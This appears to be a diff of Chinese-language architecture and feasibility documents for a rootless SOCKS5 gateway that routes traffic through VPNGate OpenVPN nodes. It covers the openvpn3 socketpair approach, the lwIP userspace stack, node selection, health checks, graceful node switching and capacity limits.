旧 Egress 的 `shared_ptr` 引用计数天然就是「还有多少会话在用它」。归零 → 析构 → 隧道关闭。
|
||||
不需要单独维护会话表,也不会漏。
|
||||
|
||||
`drain_grace` 到期时,对仍存活的会话调用 `force_close()`——这就是需求里「做不到就断开」的
|
||||
那部分,只是范围缩到了最小。
|
||||
|
||||
### 5.3 零进度连接透明重试
|
||||
|
||||
`Session` 记录 `bytes_up + bytes_down`。切换发生时若该会话仍为 0,说明还没有字节流状态:
|
||||
|
||||
```
|
||||
if (session.total_bytes() == 0 && session.state() == Established)
|
||||
→ 在新 Egress 上重连目标,替换 TcpStream,客户端无感
|
||||
else
|
||||
→ 留在旧 Egress 排空
|
||||
```
|
||||
|
||||
### 5.4 UDP association 重新归巢
|
||||
|
||||
对每个存活的 UDP association:保持面向客户端的 socket 不变,只在新 Egress 上重开出口 PCB。
|
||||
客户端完全无感(FEASIBILITY §5.3)。
|
||||
|
||||
### 5.5 防抖动
|
||||
|
||||
| 保护 | 默认值 |
|
||||
|---|---|
|
||||
| 最小切换间隔 | 60s |
|
||||
| 候选必须优于当前的幅度 | 分数高 20% 以上 |
|
||||
| 连续判定为不健康的窗口数 | 3 |
|
||||
| 同时 draining 的 Egress 上限 | 2 |
|
||||
| 切换失败后退避 | 指数,30s → 480s 封顶 |
|
||||
|
||||
---
|
||||
|
||||
## 6. 选点策略
|
||||
|
||||
API 指标不可信(FEASIBILITY §3.3),所以分两阶段。
|
||||
|
||||
**阶段一:先验筛选(便宜)** — 用 API 字段过滤和粗排:
|
||||
|
||||
```
|
||||
prior = w1·norm(Score) + w2·norm(Speed) + w3·(1/(1+NumVpnSessions)) + w4·norm(Uptime)
|
||||
- country_penalty - protocol_penalty(tcp 比 udp 扣分)
|
||||
```
|
||||
|
||||
取 top-K(默认 12)进入阶段二。
|
||||
|
||||
**阶段二:本地实测(贵,但准)** — 对 K 个候选**并发**做 TCP 握手计时(连到节点的
|
||||
OpenVPN 端口,成功即断),取多次采样的中位数作为 `rtt_ms`:
|
||||
|
||||
```
|
||||
score = α·(1/rtt_ms) + β·prior + γ·history_success_rate - δ·recent_failure_penalty
|
||||
```
|
||||
|
||||
`history_*` 来自持久化的 `node_history.json`:每个节点记录成功/失败次数、
|
||||
历史平均吞吐、最近一次失败时间。**同一个节点连续失败会被指数退避拉黑**,避免反复撞墙。
|
||||
|
||||
分数最高者胜出。若与当前节点分数差距不足 20%,**不切换**(§5.5 迟滞)。
|
||||
|
||||
---
|
||||
|
||||
## 7. 健康检查
|
||||
|
||||
两层,职责不同:
|
||||
|
||||
**L1 — 隧道内重连(openvpn3 自己做)**
|
||||
`ping` / `ping-restart` 触发的会话内重连。此时 socketpair fd 通过 `tunPersist=true` 保持不变,
|
||||
**lwIP 实例和所有连接都不受影响**。这是最廉价的自愈,覆盖绝大多数瞬时抖动。
|
||||
|
||||
**L2 — 换节点(我们做)**
|
||||
`HealthMonitor` 每 `interval`(默认 15s)对 active Egress 采样:
|
||||
|
||||
| 信号 | 采集方式 | 权重 |
|
||||
|---|---|---|
|
||||
| 隧道状态 | openvpn3 event(`DISCONNECTED`/`RECONNECTING`)| 一票否决 |
|
||||
| 隧道内 RTT | 通过 Egress 做一次 DNS 查询计时 | 高 |
|
||||
| 连接成功率 | 滑动窗口统计 SOCKS5 CONNECT 结果 | 高 |
|
||||
| 吞吐停滞 | 有活跃会话但零字节推进的持续时长 | 中 |
|
||||
| 丢包 | lwIP 重传计数 | 中 |
|
||||
|
||||
综合分低于阈值并**连续 3 个窗口**成立 → 通知 `SwitchController`。单次抖动不触发。
|
||||
|
||||
---
|
||||
|
||||
## 8. SOCKS5 实现要点
|
||||
|
||||
- **认证**:RFC 1929 用户名/密码。凭据从配置文件或 `--auth-file` 读取,
|
||||
口令存储为 `sha256(salt || password)`,比较用常量时间。支持仅 `NO_AUTH`(显式配置才允许)。
|
||||
- **握手超时**、**连接超时**、**空闲超时** 三个独立计时器,任何一个到期都干净关闭。
|
||||
- **半关闭**:一方 EOF → 对另一方 `shutdown_send()`,另一方向继续传输,直到双向都结束。
|
||||
这是很多代理实现的 bug 源头(收到 EOF 就整条关掉,会截断响应)。
|
||||
- **异常断开**:RST / 进程退出 / Egress 销毁,都通过 `Session::force_close()` 统一路径回收,
|
||||
保证 `TcpStream` 和 fd 不泄漏。
|
||||
- **准入控制**:`max_sessions` 在 accept 层生效,超限直接拒绝——这是 lwIP 用 malloc 之后
|
||||
防 OOM 的唯一闸门(FEASIBILITY §4.2)。
|
||||
- **UDP ASSOCIATE**:见 FEASIBILITY §5.1。`FRAG != 0` 丢弃并计数。
|
||||
|
||||
---
|
||||
|
||||
## 9. 可观测性
|
||||
|
||||
- **日志**:分级(trace/debug/info/warn/error),带模块标签和会话 ID。
|
||||
切换、选点、健康判定这三条链路是 info 级——出问题时必须能从日志还原决策过程。
|
||||
- **指标**:`/metrics`(Prometheus 文本格式)导出会话数、切换次数、各 Egress 的 RTT 与流量、
|
||||
DNS 缓存命中率、拒绝计数等。
|
||||
- **admin 接口**:`/status`(当前节点、Egress 状态、draining 列表)、
|
||||
`POST /switch`(手动触发切换,运维逃生口)、`/nodes`(当前候选池及分数)。
|
||||
|
||||
---
|
||||
|
||||
## 10. 目录结构
|
||||
|
||||
```
|
||||
src/
|
||||
├── common/ logging.h config.h error.h endpoint.h buffer.h metrics.h
|
||||
├── vpngate/ api_client.* csv_parser.* node.h node_store.*
|
||||
├── selector/ prober.* scorer.* selector.*
|
||||
├── ovpn/ tunnel_client.* profile_sanitizer.* packet_pipe.*
|
||||
├── netstack/ lwip_stack.* lwip_tcp.* lwip_udp.* dns_resolver.* lwipopts.h
|
||||
├── egress/ egress.h tunnel_egress.* direct_egress.* egress_manager.*
|
||||
├── socks5/ protocol.* auth.* server.* session.* udp_relay.*
|
||||
├── health/ health_monitor.* switch_controller.*
|
||||
└── app/ main.cpp app.* admin_server.*
|
||||
```
|
||||
@@ -0,0 +1,431 @@
|
||||
# 技术可行性分析
|
||||
|
||||
本文档是动手写代码之前的结论。所有判断都基于对 openvpn3 源码、VPNGate API 实测响应、
|
||||
以及目标运行环境的实际验证,而不是推测。验证记录见文末「附录:验证方法」。
|
||||
|
||||
---
|
||||
|
||||
## 0. 结论速览
|
||||
|
||||
| 需求 | 判定 | 说明 |
|
||||
|---|---|---|
|
||||
| OpenVPN 3 Core 作为协议实现 | ✅ 可行 | 需以 `USE_TUN_BUILDER` 编译,走 TunBuilder 路径 |
|
||||
| 无 root 用户态处理流量 | ✅ 可行 | socketpair + 用户态 TCP/IP 栈(lwIP) |
|
||||
| VPNGate 节点列表抓取与解析 | ✅ 可行 | 实测 1.29 MB / 96 节点 / 最长行 13529 字符 |
|
||||
| 多指标自动选节点 | ✅ 可行 | API 指标不可信,必须以本地实测为主 |
|
||||
| 节点健康检查与自动重连 | ✅ 可行 | 分两层:隧道内重连 + 换节点 |
|
||||
| SOCKS5 + 用户名密码认证 | ✅ 可行 | RFC 1928 / RFC 1929 |
|
||||
| 1000 并发连接 | ⚠️ 有条件可行 | 本进程能扛住;**VPNGate 免费节点扛不住** |
|
||||
| TCP CONNECT / 超时 / 半关闭 / 异常断开 | ✅ 可行 | — |
|
||||
| DNS 不泄漏 | ✅ 可行 | 域名在隧道内解析 |
|
||||
| SOCKS5 UDP ASSOCIATE | ✅ 支持(不支持 FRAG 分片) | 见 §5 |
|
||||
| 换节点后**新**连接走新隧道 | ✅ 可行 | make-before-break |
|
||||
| 换节点后**保持已建立的 TCP 连接** | ❌ **不可能** | 见 §1,这是本需求中唯一真正不可能的部分 |
|
||||
| 换节点后保持 UDP association | ✅ 可行(意外收获) | 见 §5.3 |
|
||||
|
||||
---
|
||||
|
||||
## 1. 不可能的部分:已建立的 TCP 连接无法跨节点迁移
|
||||
|
||||
这是需求里唯一物理上做不到的事情,必须说清楚为什么,否则后面的设计无从谈起。
|
||||
|
||||
### 1.1 为什么不可能
|
||||
|
||||
一条 TCP 连接由四元组 `(src_ip, src_port, dst_ip, dst_port)` 唯一标识,**且这个四元组在
|
||||
连接生命周期内不可变**。当我们从 VPN 节点 A 切换到节点 B:
|
||||
|
||||
1. 隧道内网 IP 变了。节点 A 通过 `push ifconfig` 给我们 `10.211.1.6`,节点 B 会给一个完全
|
||||
不同的地址。我们协议栈的 `src_ip` 随之改变。
|
||||
2. 出口公网 IP 变了。对端服务器看到的来源地址从 A 的公网 IP 变成 B 的公网 IP。
|
||||
3. 节点 A 上的 NAT 会话表项随隧道断开而销毁。即便我们伪造原 `src_ip`,B 也不会、也无法把
|
||||
包按 A 的映射发出去。
|
||||
|
||||
于是切换后我们发出的报文,在对端 TCP 看来来自一个陌生的四元组。对端的反应是
|
||||
**丢弃(不匹配任何 TCB)或回 RST**,绝不会当作原连接的续传。这是 TCP 的设计本身,不是实现缺陷。
|
||||
|
||||
### 1.2 那些「能迁移」的协议为什么能
|
||||
|
||||
| 协议 | 迁移机制 | 为什么救不了我们 |
|
||||
|---|---|---|
|
||||
| MPTCP (RFC 8684) | 在新路径上加 subflow,用 token 关联到同一连接 | 需要**对端也支持**。公网上绝大多数服务器没开。且需要内核 MPTCP 栈 |
|
||||
| QUIC (RFC 9000 §9) | 用 Connection ID 而非四元组标识连接,支持路径迁移 | QUIC 跑在 UDP 上。见 §5.3——这部分我们**确实能救** |
|
||||
| SCTP multihoming | 连接绑定到地址集合 | 公网部署几乎为零 |
|
||||
|
||||
结论:对**普通 TCP**,无论在应用层做什么,都无法把一条已建立的连接搬到另一个出口 IP 上。
|
||||
任何声称能做到的方案,要么是重新建连(破坏字节流语义),要么是没真正换出口。
|
||||
|
||||
### 1.3 我们实际能做到什么(工程解法)
|
||||
|
||||
需求里写了「如果做不到,那么断开所有旧连接」。直接全断是可以的,但太粗暴——正常网页浏览
|
||||
场景下会造成明显可见的中断。本项目实现的是**优雅降级的三段式方案**:
|
||||
|
||||
**A. Make-before-break(先建后拆)**
|
||||
|
||||
新旧两条隧道**并存**一段时间。每条隧道是一个独立的 `Egress`(独立的 OpenVPN 会话 + 独立的
|
||||
lwIP 协议栈实例)。
|
||||
|
||||
- 新的 SOCKS5 连接 → 绑定到新 Egress。
|
||||
- 已存在的连接 → 继续留在旧 Egress 上,**完全不受影响**,直到自然结束。
|
||||
|
||||
旧 Egress 进入 `Draining` 状态:不再接受新连接,引用计数归零即销毁。
|
||||
|
||||
**B. 有界的排空窗口**
|
||||
|
||||
排空不能无限期,否则一条长连接(SSH、WebSocket)会让旧隧道永远留着。设 `drain_grace`
|
||||
(默认 120s)。窗口内自然结束的连接是零感知的;窗口到期仍存活的连接被强制关闭——这就是需求
|
||||
里说的「做不到就断开」,只是把「全部立刻断」缩小成了「少数超时的才断」。
|
||||
|
||||
同时并存的 draining Egress 数量有上限(默认 2),避免连续切换导致隧道堆积。
|
||||
|
||||
**C. 零进度连接可透明重试**
|
||||
|
||||
如果一条 SOCKS5 连接在切换发生时,`CONNECT` 还没完成、或者完成了但**双向都还没传输过任何
|
||||
应用字节**,那么重建它对客户端是完全无感的——因为还没有任何字节流状态需要保留。这类连接
|
||||
我们直接在新 Egress 上重连,客户端完全察觉不到。
|
||||
|
||||
实测中这能覆盖相当一部分场景(浏览器的预连接、连接池里的空闲连接)。
|
||||
|
||||
**代价(必须诚实说明)**:并存期间内存和 CPU 翻倍(两个 lwIP 实例、两个 OpenVPN 会话),
|
||||
出口 IP 在窗口内不唯一(旧连接走旧 IP)。对于「出口 IP 必须唯一」的场景,配置
|
||||
`switch.mode = hard` 退化为「立即全断」。
|
||||
|
||||
---
|
||||
|
||||
## 2. 无 root:为什么必须自带 TCP/IP 栈
|
||||
|
||||
### 2.1 环境事实
|
||||
|
||||
目标环境 `/dev/net/tun` **不存在**,进程 uid=1000。即便设备节点存在,`TUNSETIFF` 也需要
|
||||
`CAP_NET_ADMIN`。所以:**拿不到 tun 设备,也无权改路由表**。
|
||||
|
||||
(备选路径 unprivileged userns + netns 见 §7,本项目不作为默认。)
|
||||
|
||||
### 2.2 openvpn3 能否把裸 IP 包交给我们
|
||||
|
||||
能,而且是官方支持的路径。关键证据在 `openvpn/tun/builder/client.hpp:59`:
|
||||
|
||||
```cpp
|
||||
Base::stream = new openvpn_io::posix::stream_descriptor(io_context, socket);
|
||||
```
|
||||
|
||||
`tun_builder_establish()` 返回的 `int` fd 被直接包进 **ASIO 的 POSIX stream_descriptor**,
|
||||
之后按裸 IP 包做 `async_read_some` / `async_write`。这条路径上**没有任何 tun 专属的 ioctl**,
|
||||
openvpn3 不关心 fd 究竟是不是 tun 设备——它只要一个能异步读写的 fd。
|
||||
|
||||
于是:
|
||||
|
||||
```
|
||||
socketpair(AF_UNIX, SOCK_DGRAM, 0, sv)
|
||||
sv[0] ──► 交给 openvpn3(tun_builder_establish 返回它)
|
||||
sv[1] ──► 我们自己持有,接到 lwIP netif
|
||||
```
|
||||
|
||||
选 `SOCK_DGRAM` 而非 `SOCK_STREAM` 是刻意的:**数据报边界天然等于 IP 包边界**,不需要任何
|
||||
额外的长度前缀或分帧逻辑,也不会出现半个包的情况。
|
||||
|
||||
这条路径由 CMake 选项 `CLI_TUNBUILDER=ON`(即 `-DUSE_TUN_BUILDER`)启用,openvpn3 自带的
|
||||
`test/ovpncli` 就是这么用的,在 Linux 上是被官方 CI 覆盖的。
|
||||
|
||||
**已对真实节点实测通过(非推断)**。用 `tools/tunnel_smoke.cpp` 对
|
||||
`public-vpn-113@219.100.37.100:443/tcp` 跑了一次完整会话,uid=1000、无 root、无
|
||||
`/dev/net/tun`:
|
||||
|
||||
```
|
||||
tunnel up: ip=10.239.88.225/30 gw=10.239.88.226 mtu=1500
|
||||
dns=[10.239.254.254, 8.8.8.8] redirect_gw=true routes=0
|
||||
tx: 手工构造的 IPv4+ICMP echo → 8.8.8.8
|
||||
rx #1: IPv4 8.8.8.8 -> 10.239.88.225 ICMP len=44 (wire 44)
|
||||
共 6 个 echo reply,tx=7 pkts/308 B (dropped 0),退出码 0
|
||||
```
|
||||
|
||||
三个结论就此从「设计假设」变成「已验证事实」:
|
||||
|
||||
1. openvpn3 接受 socketpair 的 fd,全程没有任何 tun 专属 ioctl;
|
||||
2. **收到的是裸 IPv4,没有 4 字节 `tun_prefix` 框架头**——`len=44 (wire 44)`
|
||||
即 IP 首部里的 total length 与数据报长度逐字节相等,多一个前缀就会是 48/44;
|
||||
3. 数据报边界确实等于 IP 包边界,读侧不需要任何分帧逻辑。
|
||||
|
||||
失败路径同样验证过:已死的节点走 RECONNECTING → RECONNECTING →
|
||||
`down: CONNECTION_TIMEOUT`,状态机与 fd 回收都干净。
|
||||
|
||||
> **UDP 传输未能在本沙箱内实测。** 4 个 VPNGate UDP 节点全部 `CONNECTION_TIMEOUT`;
|
||||
> 但同环境下向三台公网 NTP 服务器(UDP/123)发包也全部超时,而 DNS(UDP/53)正常。
|
||||
> 判定为**沙箱只放行 UDP/53**,而不是 UDP 代码路径有问题——两者在本机无法区分。
|
||||
> 影响有限:样本 96 个节点里仅 8 个提供 UDP,TCP/443 是绝大多数节点的唯一入口。
|
||||
|
||||
### 2.3 由此带来的简化
|
||||
|
||||
因为我们从不碰宿主机路由表:
|
||||
|
||||
- `tun_builder_add_route` / `tun_builder_reroute_gw` 全部**记录日志后返回 true**,不做实际动作。
|
||||
隧道内的「默认路由」由我们自己的 lwIP 实例定义——它只有一个 netif,天然全部流量走隧道。
|
||||
- `socket_protect()` 直接返回 true。它的用途是防止 VPN 自己的传输 socket 被路由进隧道造成环路;
|
||||
我们没改宿主路由,不存在环路。
|
||||
- 不产生 DNS 泄漏风险的系统级配置改动(`/etc/resolv.conf` 一律不碰)。
|
||||
|
||||
**副作用**:本进程是一个纯粹的 SOCKS5 网关,**不会**把宿主机其它程序的流量导入 VPN。这符合
|
||||
需求(对外提供 SOCKS5 服务),但要明确它不是一个系统级 VPN 客户端。
|
||||
|
||||
### 2.4 为什么是 lwIP
|
||||
|
||||
需要一个用户态 TCP/IP 栈。候选:
|
||||
|
||||
| 方案 | 语言 | 判断 |
|
||||
|---|---|---|
|
||||
| **lwIP** | C | ✅ 选用。成熟、BSD 协议、可嵌入 C++、被 tun2socks/hev-socks5-tunnel 大规模验证 |
|
||||
| gVisor netstack | Go | 性能更好,但引入 Go 运行时和跨语言边界,与 C++ 的 openvpn3 拼接成本高 |
|
||||
| smoltcp | Rust | 同上,且 no_std 取向,功能面偏窄 |
|
||||
| 自己写 | — | 不予考虑 |
|
||||
|
||||
lwIP 的已知短板(§4 展开):它是嵌入式栈,默认配置扛不住 1000 连接,必须重新配参数。
|
||||
|
||||
关键点:**我们是连接的发起方**,不是 tun2socks 那种「拦截别人的连接」。所以不需要
|
||||
`LWIP_HOOK_IP4_INPUT` 之类的劫持技巧,直接用 raw API 的 `tcp_new` / `tcp_connect` 即可,
|
||||
复杂度显著低于典型 tun2socks 实现。
|
||||
|
||||
---
|
||||
|
||||
## 3. VPNGate 的真实情况
|
||||
|
||||
### 3.1 API 格式(实测)
|
||||
|
||||
`http://www.vpngate.net/api/iphone/` 返回:
|
||||
|
||||
```
|
||||
*vpn_servers
|
||||
#HostName,IP,Score,Ping,Speed,CountryLong,CountryShort,NumVpnSessions,Uptime,TotalUsers,TotalTraffic,LogType,Operator,Message,OpenVPN_ConfigData_Base64
|
||||
public-vpn-113,219.100.37.100,3008408,10,287135107,Japan,JP,113,...,IyMjIyMj...
|
||||
...
|
||||
*
|
||||
```
|
||||
|
||||
实测数据:响应 1.29 MB,99 行(1 行 magic + 1 行表头 + 96 行数据 + 1 行 `*` 结束符),
|
||||
**最长行 13529 字符**。
|
||||
|
||||
「每行可能非常长」的根因:第 15 列是**整个 .ovpn 配置文件的 base64**,含内联 CA 证书、
|
||||
客户端证书和私钥,单行轻松过 10 KB。
|
||||
|
||||
对解析器的硬性要求:
|
||||
|
||||
- 不得使用固定大小的行缓冲区。必须流式或动态增长。
|
||||
- `Message` 和 `Operator` 列包含**自由文本**,实测有内容为
|
||||
`Daiyuu Nobori_ Japan. Academic Use Only.` 的行——注意其中的 `_` 是 VPNGate 对逗号的转义
|
||||
替换,但不能假定所有行都被正确转义,必须按 RFC 4180 处理引号,并对**列数不足的行直接跳过**
|
||||
而不是崩溃。
|
||||
- 必须容忍 `Ping` / `Speed` 为空字符串。
|
||||
|
||||
### 3.2 节点配置的真实内容(实测解码第一个节点)
|
||||
|
||||
```
|
||||
dev tun
|
||||
proto tcp
|
||||
remote 219.100.37.100 443
|
||||
cipher AES-128-CBC
|
||||
data-ciphers AES-128-CBC
|
||||
auth SHA1
|
||||
resolv-retry infinite
|
||||
nobind
|
||||
persist-key
|
||||
persist-tun
|
||||
client
|
||||
verb 3
|
||||
<ca>...</ca> <cert>...</cert> <key>...</key>
|
||||
```
|
||||
|
||||
重要结论:
|
||||
|
||||
1. **不需要用户名密码**。配置内联了客户端证书和私钥,是纯证书认证。(部分老节点需要
|
||||
`vpn`/`vpn`,代码里保留了 fallback。)
|
||||
2. **`proto tcp` + 443 端口**。这意味着 **TCP-over-TCP**——隧道内的 TCP 跑在隧道外的 TCP 上。
|
||||
两层拥塞控制叠加,丢包时会互相放大重传,即所谓 TCP meltdown。缓解手段:把 lwIP 的
|
||||
`TCP_MSS` 调低避免分片、开 SACK、限制内层窗口不要过分激进。**这是免费 VPNGate 的固有
|
||||
特性,不是我们能修复的**,只能缓解。同一节点若同时提供 UDP 入口应优先选 UDP。
|
||||
3. **`AES-128-CBC` + `SHA1`**。都是弱算法。openvpn3 在较新版本里默认拒绝部分遗留算法,
|
||||
需要显式开 `enableLegacyAlgorithms` / `tlsCertProfileOverride=legacy`,否则握手直接失败。
|
||||
较新的 VPNGate 配置已经带了 `data-ciphers`,所以 NCP 协商能正常工作。
|
||||
4. 节点跑的是 SoftEther 的 OpenVPN 兼容层,不是原版 openvpn 服务端。行为上有偏差,
|
||||
profile 需要做净化/重写(去掉 openvpn3 不认识的指令,补上必需的指令)。
|
||||
|
||||
### 3.3 API 指标可信度
|
||||
|
||||
`Score` / `Ping` / `Speed` 是 **VPNGate 中心服务器**到节点测出来的,不是**我们**到节点。
|
||||
地理位置一变,排序完全失效。`Speed` 那个 287135107(≈287 Mbps)是节点自报的线路带宽,
|
||||
不代表你能分到多少——`NumVpnSessions=113` 意味着 113 个人在抢。
|
||||
|
||||
因此选点策略必须以**本地实测**为主:我们自己对候选节点的 OpenVPN 端口做 TCP 握手计时,
|
||||
API 指标只用于**初筛和排序前的先验权重**。详见 `ARCHITECTURE.md` §选点。
|
||||
|
||||
---
|
||||
|
||||
## 4. 1000 并发:能到什么程度
|
||||
|
||||
拆成三个独立的瓶颈来看。
|
||||
|
||||
### 4.1 本进程(可控)
|
||||
|
||||
- **不能一连接一线程**。1000 线程 × 8 MB 默认栈 = 8 GB 虚拟内存,上下文切换开销也不可接受。
|
||||
本项目用 ASIO 的 proactor 模型,`min(hardware_concurrency, N)` 个 io 线程跑事件循环,
|
||||
每条连接是一组 handler + 一个 strand,**零专属线程**。
|
||||
- **fd 消耗**:每条 SOCKS5 连接占 1 个客户端 fd。出口侧走 lwIP,**不消耗 fd**(这是用户态栈
|
||||
的一个实在好处)。1000 连接 ≈ 1000 + 少量固定 fd,默认 `ulimit -n 1024` 不够,启动时程序
|
||||
会自己把 `RLIMIT_NOFILE` 提到 soft=hard 并在不足时告警。
|
||||
- **内存**:每连接两个方向的中继缓冲(默认 32 KB 合计)+ lwIP 的 PCB 与重组队列。
|
||||
1000 连接 ≈ 32 MB 中继缓冲 + lwIP 开销,量级在 100–200 MB。可接受。
|
||||
|
||||
### 4.2 lwIP(需要重新配置,且是真实风险)
|
||||
|
||||
lwIP 的默认配置是给 MCU 用的,`MEMP_NUM_TCP_PCB` 默认 **5**。直接用必然崩。本项目的
|
||||
`lwipopts.h` 做了如下调整:
|
||||
|
||||
- `MEM_LIBC_MALLOC=1` + `MEMP_MEM_MALLOC=1`:所有 memp 池改走 libc malloc,
|
||||
**彻底绕开静态池容量规划问题**。代价是失去池化的确定性和一点性能,换来的是不会因为某个
|
||||
池耗尽而莫名其妙丢包。对我们这种「不是硬实时、但要求鲁棒」的场景是正确的取舍。
|
||||
- 既然内存不再有硬上界,**准入控制必须由我们自己做**:`socks5.max_sessions`(默认 1200)
|
||||
在 accept 层直接拒绝超限连接,这是防 OOM 的唯一闸门。
|
||||
- `LWIP_WND_SCALE=1` + `TCP_RCV_SCALE=2`、`LWIP_TCP_SACK_OUT=1`:VPN 链路 BDP 大且有丢包,
|
||||
没有窗口缩放和 SACK 会严重拖垮吞吐。
|
||||
- `TCP_MSS=1360`:保守值,避开隧道 MTU 导致的分片。
|
||||
|
||||
**诚实的风险提示**:lwIP 是单线程栈,所有连接的协议处理串行在一个线程上。1000 条**高吞吐**
|
||||
连接会让这个线程成为瓶颈。1000 条**普通**连接(大部分时间空闲,如浏览器场景)没有问题。
|
||||
如果需求真是 1000 条满速并发,lwIP 会先于 VPN 节点成为瓶颈,届时应考虑换 gVisor netstack
|
||||
或多 Egress 分片。架构上 `Egress` 是接口,替换栈实现不影响上层。
|
||||
|
||||
### 4.3 VPNGate 节点(不可控,且是真正的天花板)
|
||||
|
||||
这是必须直说的部分:**一个免费的 VPNGate 节点几乎不可能支撑 1000 条并发连接**。
|
||||
|
||||
- 节点是志愿者用家用带宽跑的 SoftEther,实测样本里单节点已有 113 个并发会话在共享带宽。
|
||||
- SoftEther 对单会话的连接数和 NAT 表项有限制。
|
||||
- `proto tcp` 意味着我们所有流量还要挤在**一条**到节点的 TCP 连接里(openvpn3 单传输连接),
|
||||
这条连接的拥塞窗口是全局共享的。
|
||||
|
||||
所以「1000 并发」的合理解读是:**本网关的架构和实现能处理 1000 条并发连接而不劣化**,
|
||||
至于端到端能跑多少,取决于当时选中的节点。程序会导出 `active_sessions`、
|
||||
`connect_failure_rate`、`egress_rtt_ms` 等指标,节点扛不住时健康检查会触发换节点。
|
||||
|
||||
---
|
||||
|
||||
## 5. SOCKS5 相关的明确表态
|
||||
|
||||
### 5.1 UDP ASSOCIATE:**支持**
|
||||
|
||||
明确回答需求里的问题:**支持 SOCKS5 UDP ASSOCIATE**(RFC 1928 §7)。实现要点:
|
||||
|
||||
- `UDP ASSOCIATE` 请求到达后,在本地绑定一个 UDP socket 接收客户端数据报,
|
||||
同时在 Egress(lwIP)里开一个 UDP PCB 作为出口。
|
||||
- 回复的 `BND.ADDR`/`BND.PORT` 使用可配置的 `socks5.advertise_addr`——不能想当然填
|
||||
`0.0.0.0`,客户端需要一个**它能到达**的地址。这在容器/NAT 部署里是个常见坑。
|
||||
- association 的生命周期绑定到那条 TCP 控制连接。控制连接一断,UDP 立即回收(RFC 要求)。
|
||||
- 空闲超时独立计时(默认 60s),防止客户端不关控制连接导致 PCB 泄漏。
|
||||
|
||||
**不支持的部分(明确声明)**:`FRAG != 0` 的分片数据报**直接丢弃**。RFC 1928 允许实现不支持
|
||||
分片。理由:分片重组需要维护跨数据报状态且极易被用于放大攻击,而现实中几乎没有客户端使用
|
||||
(curl、Chrome、SSH -D 都不用)。丢弃时会打 warn 日志并计数,不会静默。
|
||||
|
||||
### 5.2 DNS
|
||||
|
||||
域名解析**在隧道内完成**,不泄漏:
|
||||
|
||||
- `CONNECT` 请求的 `ATYP=DOMAINNAME` 不在本地 `getaddrinfo`,而是走 `Egress::async_resolve`,
|
||||
即通过 lwIP 的 UDP 向 VPN 服务器 push 下来的 DNS 服务器发查询。
|
||||
- 自带解析器而非用 lwIP 内置 `dns_gethostbyname`:需要 TTL 感知的缓存、并发去重、
|
||||
UDP 截断后回落 TCP、以及跨 Egress 实现复用(DirectEgress 也要能用)。lwIP 内置 DNS 这些都没有。
|
||||
- 若 VPN 未 push DNS,回落到配置的 `dns.fallback_servers`(默认 1.1.1.1 / 8.8.8.8),
|
||||
**仍然走隧道发出**,不走宿主机。
|
||||
- 走 UDP ASSOCIATE 的 53 端口流量天然也在隧道内,无需特殊处理。
|
||||
|
||||
### 5.3 意外收获:UDP association 可以跨节点迁移
|
||||
|
||||
§1 说 TCP 不能迁移。但 **UDP 可以**,因为它无连接——没有需要保留的序列号状态。
|
||||
|
||||
节点切换时,对于每个存活的 UDP association,我们只需在新 Egress 上重新 bind 一个 UDP PCB,
|
||||
**保持面向客户端的那个 socket 和端口不变**。客户端完全无感。
|
||||
|
||||
对于 QUIC 这类自带连接迁移(RFC 9000 §9,用 Connection ID 而非四元组标识连接)的协议,
|
||||
它会自己完成路径验证并继续跑——也就是说,**通过我们的 SOCKS5 代理的 QUIC/HTTP3 连接
|
||||
能够真正做到跨 VPN 节点切换而不中断**。这是 TCP 拿不到的待遇。
|
||||
|
||||
代价:出口 IP 变化会让部分服务端(把 UDP 会话绑定到源 IP 的)判定为新会话。这个由应用层
|
||||
自己处理,代理层无能为力。
|
||||
|
||||
### 5.4 不实现的部分
|
||||
|
||||
- `BIND` 命令:明确回 `X'07' Command not supported`。它需要在出口侧监听端口等待入站连接,
|
||||
而 VPNGate 节点在 NAT 后面,根本收不到入站连接。实现了也不能用。
|
||||
- GSSAPI 认证(RFC 1961):不实现,回 `X'FF'`(无可接受方法)。
|
||||
- SOCKS4/4a:不实现。
|
||||
|
||||
---
|
||||
|
||||
## 6. 其它已识别的工程风险
|
||||
|
||||
| 风险 | 影响 | 缓解 |
|
||||
|---|---|---|
|
||||
| openvpn3 `connect()` 是阻塞调用 | 每条隧道需独占一个线程 | 每个 Egress 一个 ovpn 线程;切换期间峰值 2 个。可接受 |
|
||||
| 节点 profile 含 openvpn3 不识别的指令 | 直接 `option_error` 连不上 | `ProfileSanitizer` 白名单重写,见 `ovpn/profile_sanitizer` |
|
||||
| 弱算法被新版 openvpn3 拒绝 | 握手失败 | 显式 `enableLegacyAlgorithms=true` + `tlsCertProfileOverride="legacy"` |
|
||||
| VPNGate API 限流 / 被墙 / 返回 HTML | 拿不到节点列表 | 磁盘缓存 + 多镜像 + 指数退避;缓存可用时不阻塞启动 |
|
||||
| 隧道内 MTU 与实际路径不符 | 大包黑洞 | `TCP_MSS` 保守取值 + 采纳 `tun_builder_set_mtu` |
|
||||
| 切换风暴(反复横跳) | 连接持续被打断 | 迟滞判定 + 最小切换间隔 + 候选必须显著更优才切 |
|
||||
| socketpair 数据报队列满 | 丢 IP 包 | 放大 `SO_SNDBUF`/`SO_RCVBUF`;丢包由 TCP 重传兜底(这是 IP 层,允许丢) |
|
||||
| lwIP 单线程瓶颈 | 高吞吐时吞吐受限 | 见 §4.2;架构上可替换 |
|
||||
|
||||
---
|
||||
|
||||
## 7. 备选方案:unprivileged userns + netns(未采用)
|
||||
|
||||
有 root 或允许非特权 user namespace 时,还有一条路:
|
||||
|
||||
```
|
||||
unshare -Ur -n → 在新 netns 里拥有 CAP_NET_ADMIN → 创建真 tun 设备 → 用内核 TCP/IP 栈
|
||||
```
|
||||
|
||||
优点很实在:内核栈的性能、成熟度、可观测性(`ss`、`tcpdump`)都远超 lwIP,1000 并发毫无压力。
|
||||
|
||||
不采用的原因:
|
||||
|
||||
1. 目标环境 `/dev/net/tun` **不存在**,这条路直接堵死。
|
||||
2. 需要 mount namespace 配合 bind-mount `/dev/net/tun`,部署复杂度陡增。
|
||||
3. SOCKS5 监听端口在宿主 netns、出口 socket 在 VPN netns,需要跨 netns 传 fd(`SCM_RIGHTS`),
|
||||
引入一个 helper 进程。
|
||||
4. 很多容器环境(无 `CAP_SYS_ADMIN`、seccomp 限制 `unshare`)里不可用。
|
||||
|
||||
架构上 `Egress` 是接口,将来要加 `NetnsEgress` 不影响任何上层代码。这条路**留了口子但不修**。
|
||||
|
||||
---
|
||||
|
||||
## 附录:验证方法
|
||||
|
||||
本文所有事实性断言的来源:
|
||||
|
||||
